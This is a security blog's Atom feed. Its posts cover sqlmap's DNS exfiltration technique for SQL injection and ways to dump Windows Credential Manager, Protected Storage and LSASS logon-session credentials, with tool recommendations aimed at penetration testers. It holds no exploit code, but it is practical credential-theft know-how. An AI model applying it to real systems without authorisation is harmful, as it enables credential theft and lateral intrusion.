<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5992960384014403726</id><updated>2026-03-30T22:40:15.796+01:00</updated><category term="sql injection"/><category term="sqlmap"/><category term="conferences"/><category term="python"/><category term="windows"/><category term="metasploit"/><category term="hash"/><category term="slides"/><category term="tool"/><category term="dump"/><category term="database"/><category term="passwords"/><category term="domain"/><category term="mysql"/><category term="securitycheck"/><category term="buffer overflow"/><category term="ctf"/><category term="defcon"/><category term="msb"/><category term="quals"/><category term="udf"/><category term="anti-forensics"/><category term="breakout"/><category term="debian"/><category term="dep"/><category term="impacket"/><category term="keimpx"/><category term="local security policy"/><category term="logons"/><category term="memory protection"/><category term="netcat"/><category term="networking"/><category term="oracle"/><category term="php"/><category term="privilege escalation"/><category term="sam"/><category term="shell"/><category term="videos"/><category term="vss"/><category term="apparmor"/><category term="asp.net"/><category term="authentication"/><category term="bash"/><category term="books"/><category term="bulletin"/><category term="burp"/><category term="cache"/><category term="cached"/><category term="cheat sheet"/><category term="citrix"/><category term="community"/><category term="connection"/><category term="crack"/><category term="credential manager"/><category term="credentials"/><category term="crypto"/><category term="data exfiltration"/><category term="datamining"/><category term="dbms"/><category term="debug"/><category term="demo"/><category term="enumeration"/><category term="eval"/><category term="exploit"/><category term="firefox"/><category term="funny"/><category term="generic"/><category term="humor"/><category term="icmp"/><category term="kitrap0d"/><category term="lambda"/><category term="linux"/><category term="lsa"/><category term="lsa secrets"/><category term="media"/><category term="microsoft"/><category term="mozilla"/><category term="ms10-070"/><category term="mscache"/><category term="mssql"/><category term="nc"/><category term="ncat"/><category term="nmap"/><category term="ntds"/><category term="ntlm"/><category term="ntlm session"/><category term="nx"/><category term="padding"/><category term="padding oracle"/><category term="pass-the-hash"/><category term="password history"/><category term="pcap"/><category term="pentest"/><category term="perl"/><category term="pgsql"/><category term="physical"/><category term="postgresql"/><category term="privesc"/><category term="protected storage"/><category term="psh"/><category term="pth"/><category term="pymsrpc"/><category term="registry"/><category term="reverse"/><category term="ruby"/><category term="script"/><category term="sh"/><category term="shellcode"/><category term="smb"/><category term="soap"/><category term="solaris"/><category term="sqlserver"/><category term="takeover"/><category term="telnet"/><category term="top"/><category term="tunnel"/><category term="ubuntu"/><category term="vault"/><category term="vi"/><category term="w3af"/><category term="wce"/><category term="web service"/><category term="whitepaper"/><category term="wmap"/><category term="xterm"/><category term="yaptest"/><title type='text'>Bernardo Dag</title><subtitle type='html'>A weblog about me and my information technology thoughts</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>71</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-1036895321058510109</id><published>2012-06-13T12:49:00.001+01:00</published><updated>2012-06-13T12:53:08.607+01:00</updated><title type='text'>Data retrieval over DNS in SQL injection attacks</title><content type='html'>&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;We have recently implemented &lt;b&gt;data retrieval over DNS&lt;/b&gt; in sqlmap. This&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;data exfiltration technique adds up to the six existing techniques&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;already implemented: boolean-based blind, time-based blind, full&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;UNION, partial UNION, error-based and stacked (nested) queries. It is&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;supported on Oracle (running either on UNIX/Linux or Windows) and&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;Microsoft SQL Server/MySQL/PostgreSQL (running on Windows).&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;The technique can be tested for and used by providing sqlmap with the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-size: 14px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;--dns-domain&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt; switch following a hostname that resolves over the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;Internet to the machine where you are running sqlmap from – you do &lt;b&gt;not&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;need to run your name server daemon so you can use a freely available&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;DynDNS or similar solutions: sqlmap starts a fake DNS server on 53/udp&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;so you need to run it with uid=0 privileges and handles the DNS&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;requests from the target DBMS (actually from the DMZ’s DNS server&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;misconfigured to resolve Internet hostnames) automatically.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;In cases where the target parameter is vulnerable and exploitable by&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;either of the blind techniques or both of them, then sqlmap will test&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;for DNS exfiltration too and prefer it over the blind techniques as&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;it is much faster. Needless to say that both error-based and UNION&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;based techniques are preferred if identified exploitable.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;The paper and slide-deck presented recently at PHDays conference in&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;Moscow, Russia are available on my fellow sqlmap developer&#39;s Slideshare&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/stamparm/&quot;&gt;page&lt;/a&gt;:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: arial, sans-serif;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: arial, sans-serif;&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/stamparm/ph-days-2012miroslavstampardataretrievaloverdnsinsqlinjectionattackspaper&quot;&gt;Data Retrieval over DNS in SQL Injection Attacks&lt;/a&gt; paper.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: arial, sans-serif;&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281&quot;&gt;&lt;span style=&quot;font-family: arial, sans-serif;&quot;&gt;DNS exfiltration using&amp;nbsp;&lt;/span&gt;sqlmap&lt;/a&gt;&amp;nbsp;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); font-size: 14px;&quot;&gt;(particularly slide 12 onwards if you plan on using sqlmap for this&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); font-size: 14px;&quot;&gt;purpose).&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;I recommend you all run always sqlmap &lt;b&gt;latest development version&lt;/b&gt; from&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;its Subversion repository:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-size: 14px;&quot;&gt;svn checkout&amp;nbsp;&lt;/span&gt;https://svn.sqlmap.org/sqlmap/&lt;wbr&gt;&lt;/wbr&gt;trunk/sqlmap&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-size: 14px;&quot;&gt;&amp;nbsp;sqlmap-dev&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-size: 14px;&quot;&gt;cd sqlmap-dev&lt;/span&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-size: 14px;&quot;&gt;python sqlmap.py -h&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;You can follow the sqlmap development on Twitter too, &lt;/span&gt;&lt;a href=&quot;http://twitter.com/sqlmap&quot; style=&quot;font-family: arial, sans-serif; font-size: 14px;&quot;&gt;@sqlmap&lt;/a&gt;&lt;span style=&quot;background-color: rgba(255, 255, 255, 0.917969); color: #222222; font-family: arial, sans-serif; font-size: 14px;&quot;&gt;.&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/1036895321058510109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/1036895321058510109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1036895321058510109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/1036895321058510109'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2012/06/data-retrieval-over-dns-in-sql.html' title='Data retrieval over DNS in SQL injection attacks'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-3309427792648757099</id><published>2012-01-25T23:48:00.000+00:00</published><updated>2012-01-26T00:47:26.583+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="authentication"/><category scheme="http://www.blogger.com/atom/ns#" term="credential manager"/><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="protected storage"/><category scheme="http://www.blogger.com/atom/ns#" term="vault"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 6</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Network services authentication credentials&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Like &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_20.html&quot;&gt;LSA secrets&lt;/a&gt;, Windows stores &lt;b&gt;passwords in a reversible format&lt;/b&gt; elsewhere.&lt;br /&gt;
&lt;br /&gt;
When you login to a network resource like a network share, a proxy server behind NTLM authentication, a database management system, a mail server, etc, you can often instruct your client to save the password, typically&amp;nbsp;by simply ticking the box “&lt;i&gt;Remember my password&lt;/i&gt;”.&lt;br /&gt;
&lt;br /&gt;
Behind the scenes, Windows stores this information in the &lt;a href=&quot;http://windows.microsoft.com/en-GB/windows7/What-is-Credential-Manager&quot;&gt;Credential Manager&lt;/a&gt; – a single sign-on (SSO) solution that exists since Windows XP.&amp;nbsp;These stored credentials are used to authenticate each time the corresponding network resource is accessed by the user without the need to retype the password.&lt;br /&gt;
&lt;br /&gt;
These passwords are encrypted using the DPAPI syubsystem and can be dumped in &lt;b&gt;clear-text&lt;/b&gt; format.&lt;br /&gt;
You can also&amp;nbsp;&lt;a href=&quot;http://windows.microsoft.com/en-GB/windows7/Store-passwords-certificates-and-other-credentials-for-automatic-logon&quot;&gt;view, edit and add&lt;/a&gt;&amp;nbsp;to this password storage. On Windows Vista onwards the Credential Manager is available under&amp;nbsp;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Control Panel\User Accounts and Family Safety\Credential Manager&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;or from&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Control Panel\User Accounts and Family Safety\User Accounts\&lt;account&gt;\Manage your credentials&lt;/account&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Another storage used by Windows for a similar purpose is the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb432403(v=vs.85).aspx&quot;&gt;Protected Storage&lt;/a&gt;. Applications like Internet Explorer and Outlook Express store the email account password in this storage, where they do not opt to store in the Credential Manager. The passwords stored in the Protected Storage are encrypted using the CryptoAPI functions and the key is derived from the user&#39;s password therefore they can be dumped in &lt;b&gt;clear-text&lt;/b&gt; format too.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Third-party software like Chrome, RealVNC Client, Thunderbird and others store passwords to websites in their own format. Some tools store them within the registry, some use the Windows API and store them in the Credential Manager or the Protected Storage and others in files. Regardless, all these credentials are stored in a reversible format, publicly documented or not, they can be dumped in &lt;b&gt;clear-text&lt;/b&gt; like Credential Manager and Protected Storage passwords.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;Dump Credential Manager&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The methods to interact with the Credential Manager is &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/Aa302353&quot;&gt;documented&lt;/a&gt; by Microsoft and implemented in a number of tools able to dump these credentials.&lt;br /&gt;
NirSoft’s &lt;a href=&quot;http://www.nirsoft.net/utils/network_password_recovery.html&quot;&gt;&lt;b&gt;Network Password Recovery&lt;/b&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.nirsoft.net/utils/netpass.zip&quot;&gt;netpass&lt;/a&gt;) is my first choice. It is one-executable only tool and reliable.&amp;nbsp;Make sure you run the &lt;a href=&quot;http://www.nirsoft.net/utils/netpass-x64.zip&quot;&gt;64-bit version&lt;/a&gt; on 64-bit architecture.&lt;br /&gt;
&lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;Cain &amp;amp; Abel&lt;/a&gt; can also dump the Credential Manager efficiently, however it only works locally not remotely so you should better avoid it unless installing new software is permitted onto the target machine.&lt;br /&gt;
Passcape&#39;s &lt;a href=&quot;http://www.passcape.com/network_password_recovery&quot;&gt;Network Password Recovery&lt;/a&gt;, not to be confused with the namesake tool from NirSoft, also works well, but the trial version only displays the first three characters of the dumped passwords.&lt;br /&gt;
Avoid Metasploit own post-exploitation module &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_cred_store.rb&quot;&gt;windows/gather/credentials/enum_cred_store&lt;/a&gt;&amp;nbsp;- it has always crashed regardless of the target Windows version.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dump Protected Storage&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
NirSoft&#39;s &lt;a href=&quot;http://www.nirsoft.net/utils/pspv.html&quot;&gt;&lt;b&gt;Protected Storage PassView&lt;/b&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.nirsoft.net/utils/pspv.zip&quot;&gt;pspv&lt;/a&gt;) is my first choice. It is one-executable only tool and reliable.&lt;br /&gt;
Another tool to consider is &lt;a href=&quot;http://h.ackack.net/carrot-exe.html&quot;&gt;&lt;b&gt;carrot&lt;/b&gt;&lt;/a&gt;, a bundle of other tools (primarily from NirSoft), good to dump Protected Storage credentials.&lt;br /&gt;
Avoid &lt;a href=&quot;http://www.foofus.net/~fizzgig/fgdump/&quot;&gt;fgdump&lt;/a&gt; as it fails to dump the protected storage.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Dump third-party software stored credentials&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
NirSoft has a &lt;a href=&quot;http://nirsoft.net/utils/index.html#password_utils&quot;&gt;vast collection&lt;/a&gt; of tools to dump third-party software stored credentials. Many of these are bundled in one-executable only tool,&amp;nbsp;&lt;a href=&quot;http://h.ackack.net/carrot-exe.html&quot; style=&quot;font-weight: bold;&quot;&gt;carrot&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
If you have got a Meterpreter shell onto the target system, Metasploit is handy to dump third-party software stored credentials as it has numerous &lt;b&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/credentials&quot;&gt;post-exploitation&lt;/a&gt; &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/tree/master/modules/post/multi/gather&quot;&gt;modules&lt;/a&gt;&lt;/b&gt; for this purpose. Some are pretty much reliable, others are in beta and often crash.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;Threats posed by n&lt;/b&gt;&lt;b&gt;etwork services authentication credentials&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
During an internal infrastructure assessment it is likely that you are able to own a workstation before a server.&lt;br /&gt;
When this occurs, collecting information about what is the role of the machine within the infrastructure is a crucial step to successfully compromise the overall network. In cases where the machine is an employee&#39;s workstation used daily, chances are very high that he uses it to access his corporate email, internal web sites, corporate proxy and other services. If so, chances are even higher that the user has ticked the &quot;&lt;i&gt;Remember my password&lt;/i&gt;&quot; entry, everywhere.&lt;br /&gt;
Having access, even as a low-privileged user, to these corporate systems &quot;for free&quot; is priceless and useful in your run to extend your control over the network and demonstrate to the customer how even the average and most insignificant workstation far from the DMZ need to be taken care of systematically.&lt;br /&gt;
&lt;br /&gt;
Often corporate email credentials, network shares passwords and others are reused by users across different services if not the domain user account too so being able to dump the credentials in clear is high value during a penetration test.&lt;br /&gt;
&lt;br /&gt;
I have added these tools to the &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;spread-sheet&lt;/a&gt;. Feedback is welcome!&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/3309427792648757099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/3309427792648757099' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3309427792648757099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3309427792648757099'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_29.html' title='Dump Windows password hashes efficiently - Part 6'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-7847134009308375056</id><published>2011-12-28T00:38:00.001+00:00</published><updated>2012-01-10T11:49:04.543+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="domain"/><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="logons"/><category scheme="http://www.blogger.com/atom/ns#" term="ntlm session"/><category scheme="http://www.blogger.com/atom/ns#" term="pass-the-hash"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="psh"/><category scheme="http://www.blogger.com/atom/ns#" term="pth"/><category scheme="http://www.blogger.com/atom/ns#" term="wce"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 5</title><content type='html'>&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;Logon sessions&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Windows stores in memory information about every &lt;b&gt;current and past successful logon&lt;/b&gt;. These are called logon session. This information includes the &lt;b&gt;username, the domain or workgroup name and both the LM and NT password hashes&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Every time a legitimate user logs onto a Windows system, the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms721592(v=VS.85).aspx#_security_local_security_authority_gly&quot;&gt;Local Security Authority&lt;/a&gt; (LSA) stores in memory this information. This happens regardless of the logon type: interactive logon to the console or remote logon via Remote Desktop Protocol (RDP).&lt;br /&gt;
&lt;br /&gt;
The image below from&amp;nbsp;&lt;a href=&quot;https://twitter.com/hernano&quot;&gt;Hernan Ochoa&lt;/a&gt;&amp;nbsp;illustrates this concept:&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAfMVWVv75Ic0qsGPAFEq6RiHxbOAxZ68LhupAkMoxK5v4ntTrZqt0gtAM3vjGZUxX_PusDE0ob5FiF8bACdX8N2kZtmwlcOjNGYvTHsWHQWP2nbPhzlfA8vthlcZ3wIMDcvrcLpKXd5M/s1600/hernan_slide9_from_rootedcon_presentation.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;442&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAfMVWVv75Ic0qsGPAFEq6RiHxbOAxZ68LhupAkMoxK5v4ntTrZqt0gtAM3vjGZUxX_PusDE0ob5FiF8bACdX8N2kZtmwlcOjNGYvTHsWHQWP2nbPhzlfA8vthlcZ3wIMDcvrcLpKXd5M/s640/hernan_slide9_from_rootedcon_presentation.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Windows NT logon and authentication model&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
The same information is stored for &lt;a href=&quot;http://technet.microsoft.com/en-us/library/bb490994.aspx&quot;&gt;RunAs&lt;/a&gt; processes and services running as specific users. In the latter case, the clear-text password is stored in memory and can be retrieved in &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_20.html&quot;&gt;LSA secrets&lt;/a&gt;&amp;nbsp;anyway.&lt;br /&gt;
Exception being network logons, for instance over SMB or HTTP; these do not get stored because the NT/LM hashes never actually reach the server. A challenge-response mechanism is used for authentication.&lt;br /&gt;
&lt;br /&gt;
This sensible information is kept in memory because it is used for&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Single_sign-on&quot;&gt;Single Sign-On&lt;/a&gt; (SSO) purposes.&lt;br /&gt;
SSO technology is extensively used in Windows network, particularly within domains. This allows, for instance, a user logged into a certain system of the domain to access remote shares, shared resources like printers and HTTP proxy protected by NTLM authentication without the need to type in his clear-text credentials each time: Windows deals with the authentication for him transparently over the network by providing exactly what is stored in memory: username, domain/workgroup and password hashes.&lt;br /&gt;
This authentication mechanism works because nowadays nearly all Windows services accept authentication with NT/LM hashes as an alternative to clear-text password. Exception being Remote Desktop Protocol.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dump logon sessions&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Logon sessions can be dumped given you have an administrative shell onto the target. There exist two techniques to dump logon sessions: code injection into lsass.exe process and reading of LSASS memory.&lt;br /&gt;
&lt;br /&gt;
There are several tools that can dump logon sessions: &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/msvctl_v0.3&quot;&gt;&lt;b&gt;msvctl&lt;/b&gt;&lt;/a&gt; from &lt;a href=&quot;http://www.truesec.se/&quot;&gt;TrueSec&lt;/a&gt; is a safe choices for Windows XP/2003 and is limited to 32-bit architecture. The updated version of &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt;&amp;nbsp;can dump logon sessions regardless of Windows version and architecture too.&amp;nbsp;More recent tools include another nice piece of code from TrueSec, &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/lslsass_v1.0_(x86)&quot;&gt;&lt;b&gt;lslsass&lt;/b&gt;&lt;/a&gt;: this tool has been designed specifically for Windows Vista onwards and delivers reliable results regardless of the architecture.&lt;br /&gt;
&lt;br /&gt;
The most well known tools to manipulate Windows logon sessions are&amp;nbsp;&lt;a href=&quot;http://www.ampliasecurity.com/research.html&quot;&gt;&lt;b&gt;Windows Credentials Editor&lt;/b&gt;&lt;/a&gt;&amp;nbsp;(WCE) and its predecessor,&amp;nbsp;&lt;a href=&quot;http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=Pass-The-Hash_Toolkit&quot; style=&quot;font-weight: bold;&quot;&gt;Pass-The-Hash Toolkit&lt;/a&gt;&amp;nbsp;(PTK). Both are the result of thriving research by&amp;nbsp;&lt;a href=&quot;https://twitter.com/hernano&quot;&gt;Hernan Ochoa&lt;/a&gt;, currently the founder of &lt;a href=&quot;http://www.ampliasecurity.com/&quot;&gt;Amplia Security&lt;/a&gt;. His presentations include:&lt;br /&gt;
&lt;ul&gt;
